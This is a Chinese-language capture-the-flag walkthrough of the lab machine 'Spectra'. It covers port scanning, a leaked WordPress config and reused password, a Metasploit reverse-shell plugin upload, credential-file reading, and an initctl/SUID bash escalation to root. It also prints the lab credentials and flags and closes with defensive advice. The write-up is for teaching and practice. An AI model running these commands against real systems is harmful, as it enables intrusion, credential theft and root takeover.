[Meachines] [Easy] Spectra Wordpress Plugins Shell+initctl权限提升
字数 1103 2025-08-29 08:30:30

Spectra WordPress 插件漏洞利用与权限提升教学文档

1. 信息收集阶段

1.1 目标识别

  • 目标IP: 10.10.10.229
  • 扫描确认目标在线状态:
    nmap -Pn -sn 10.10.10.229
    

1.2 端口扫描

使用masscan进行快速端口扫描:

sudo masscan -p1-65535,U:1-65535 10.10.10.229 --rate=1000 -e tun0

发现开放端口:

  • 22/tcp: OpenSSH 8.1
  • 80/tcp: nginx 1.17.4
  • 3306/tcp: MySQL

1.3 Web服务枚举

  1. 添加主机名到hosts文件:

    echo '10.10.10.229 spectra.htb' >> /etc/hosts
    
  2. 发现WordPress测试目录:

    curl http://spectra.htb/testing/wp-config.php.save
    

    获取到数据库凭据:

    • 用户名: devtest
    • 密码: devteam01
  3. 发现主WordPress站点:

    • http://spectra.htb/main/
    • 登录页面: http://spectra.htb/main/wp-login.php

2. 漏洞利用阶段

2.1 WordPress管理员登录

  • 用户名: administrator
  • 密码: devteam01 (与测试环境相同)

2.2 上传反向Shell

使用Metasploit模块:

use exploit/unix/webapp/wp_admin_shell_upload
set USERNAME administrator
set RHOSTS 10.10.10.229
set TARGETURI /main
set LHOST tun0
set PASSWORD devteam01
run

3. 权限提升阶段

3.1 获取用户权限

  1. 在获得的shell中查找凭据:

    cat /etc/autologin/passwd
    

    发现密码: SummerHereWeCome!!

  2. 通过SSH登录用户katie:

    ssh katie@10.10.10.229
    

    密码: SummerHereWeCome!!

  3. 获取user flag:

    e89d27fe195e9114ffa72ba8913a6130
    

3.2 利用initctl进行权限提升

  1. 下载initctl二进制文件:

    scp katie@10.10.10.229:/sbin/initctl ./
    
  2. 检查可用的服务:

    sudo -u root /sbin/initctl list | grep test
    
  3. 发现可配置的test服务:

    • 服务路径: /etc/init/test.conf
    • 内容:
      description "Test node.js server"
      author "katie"
      start on filesystem or runlevel [2345]
      stop on shutdown
      script
        chmod +s /bin/bash
      end script
      
  4. 利用步骤:

    • 停止服务:
      sudo -u root /sbin/initctl stop test
      
    • 启动服务(执行脚本):
      sudo -u root /sbin/initctl start test
      
    • 获取root shell:
      /bin/bash -p
      
  5. 获取root flag:

    d44519713b889d5e1f9e536d0c6df2fc
    

4. 漏洞分析与总结

4.1 漏洞链

  1. WordPress测试环境暴露数据库凭据
  2. 凭据重用(测试环境与生产环境使用相同密码)
  3. WordPress管理员权限导致可上传恶意插件
  4. initctl服务配置不当导致权限提升

4.2 防御建议

  1. 测试环境与生产环境隔离
  2. 禁止使用相同凭据
  3. 限制WordPress管理员权限
  4. 审查init脚本权限和内容
  5. 避免在脚本中使用危险命令如chmod +s

5. 扩展知识

5.1 initctl简介

  • initctl是Upstart初始化系统的控制工具
  • 用于管理系统服务的启动、停止和状态查询
  • 通常位于/sbin/initctl
  • 服务配置文件位于/etc/init/目录下

5.2 SUID权限提升原理

  • chmod +s /bin/bash给bash添加SUID位
  • 当普通用户执行SUID程序时,会以文件所有者(root)权限运行
  • -p参数使bash保留特权
Spectra WordPress 插件漏洞利用与权限提升教学文档 1. 信息收集阶段 1.1 目标识别 目标IP: 10.10.10.229 扫描确认目标在线状态: 1.2 端口扫描 使用masscan进行快速端口扫描: 发现开放端口: 22/tcp: OpenSSH 8.1 80/tcp: nginx 1.17.4 3306/tcp: MySQL 1.3 Web服务枚举 添加主机名到hosts文件: 发现WordPress测试目录: 获取到数据库凭据: 用户名: devtest 密码: devteam01 发现主WordPress站点: http://spectra.htb/main/ 登录页面: http://spectra.htb/main/wp-login.php 2. 漏洞利用阶段 2.1 WordPress管理员登录 用户名: administrator 密码: devteam01 (与测试环境相同) 2.2 上传反向Shell 使用Metasploit模块: 3. 权限提升阶段 3.1 获取用户权限 在获得的shell中查找凭据: 发现密码: SummerHereWeCome!! 通过SSH登录用户katie: 密码: SummerHereWeCome!! 获取user flag: 3.2 利用initctl进行权限提升 下载initctl二进制文件: 检查可用的服务: 发现可配置的test服务: 服务路径: /etc/init/test.conf 内容: 利用步骤: 停止服务: 启动服务(执行脚本): 获取root shell: 获取root flag: 4. 漏洞分析与总结 4.1 漏洞链 WordPress测试环境暴露数据库凭据 凭据重用(测试环境与生产环境使用相同密码) WordPress管理员权限导致可上传恶意插件 initctl服务配置不当导致权限提升 4.2 防御建议 测试环境与生产环境隔离 禁止使用相同凭据 限制WordPress管理员权限 审查init脚本权限和内容 避免在脚本中使用危险命令如 chmod +s 5. 扩展知识 5.1 initctl简介 initctl是Upstart初始化系统的控制工具 用于管理系统服务的启动、停止和状态查询 通常位于 /sbin/initctl 服务配置文件位于 /etc/init/ 目录下 5.2 SUID权限提升原理 chmod +s /bin/bash 给bash添加SUID位 当普通用户执行SUID程序时,会以文件所有者(root)权限运行 -p 参数使bash保留特权